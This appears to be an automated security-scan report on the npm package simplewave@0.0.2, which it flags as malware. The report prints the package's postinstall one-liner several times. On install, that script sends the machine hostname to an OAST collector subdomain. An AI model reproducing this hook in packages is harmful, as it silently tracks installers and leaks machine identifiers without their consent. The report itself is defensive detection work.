simplewave@0.0.2
AI Security Review
scanned 2d ago · by lpm-firewall-aiThe `postinstall` hook automatically sends a machine identifier to an unrelated collector without installer consent. This is installation-time tracking and supports blocking publication.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Package installation runs the `postinstall` hook.
Impact
The collector receives a machine-identifying value and the installer’s request source address.
Mechanism
The hook builds an HTTP GET URL using the machine hostname as a subdomain and sends the request.
Attack narrative
On installation, the `postinstall` command reads the machine hostname and sends an HTTP GET to a hostname-specific subdomain of an OAST collector. The hook has no consent guard, so the installation itself triggers disclosure.
AI rationale
The `postinstall` hook automatically sends a machine identifier to an unrelated collector without installer consent. This is installation-time tracking and supports blocking publication.
Evidence
package.json
Network endpoints1
<hostname>.q8f3k2m9x7b4n1v6c5z0h2j8l4w7r3t9y1u6i0o5p8a2s4d7f1g3h6k9m2n5b8v4c.oast.fun/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The `postinstall` hook sends the machine hostname to a host-specific URL on an unrelated OAST domain without a consent guard.
Evidence against
Behavioral surface
Trivial
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "const o=require('os');require('http').get('http://'+o.hostname()+'.[redacted].oast.fun/',r=>r.resume()).on('error',(...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "const o=require('os');require('http').get('http://'+o.hostname()+'.[redacted].oast.fun/',r=>r.resume()).on('error',(...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node -e \"const o=require('os');require('http').get('http://'+o.hostname()+'.[redacted].oast.fun/',r=>r.resume()).on('error',()=>{})\""
}
}
High
Suspicious Lifecycle Evidence
The `postinstall` hook sends the machine hostname to a host-specific URL on an unrelated OAST domain without a consent guard.
package.jsonView on unpkg · L7Findings
1 Critical2 High1 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
LowScripts Present
Affected versions and remediation
This report applies to simplewave@0.0.2.
See all versions of simplewave for other recorded verdicts.
- Avoid installing simplewave@0.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.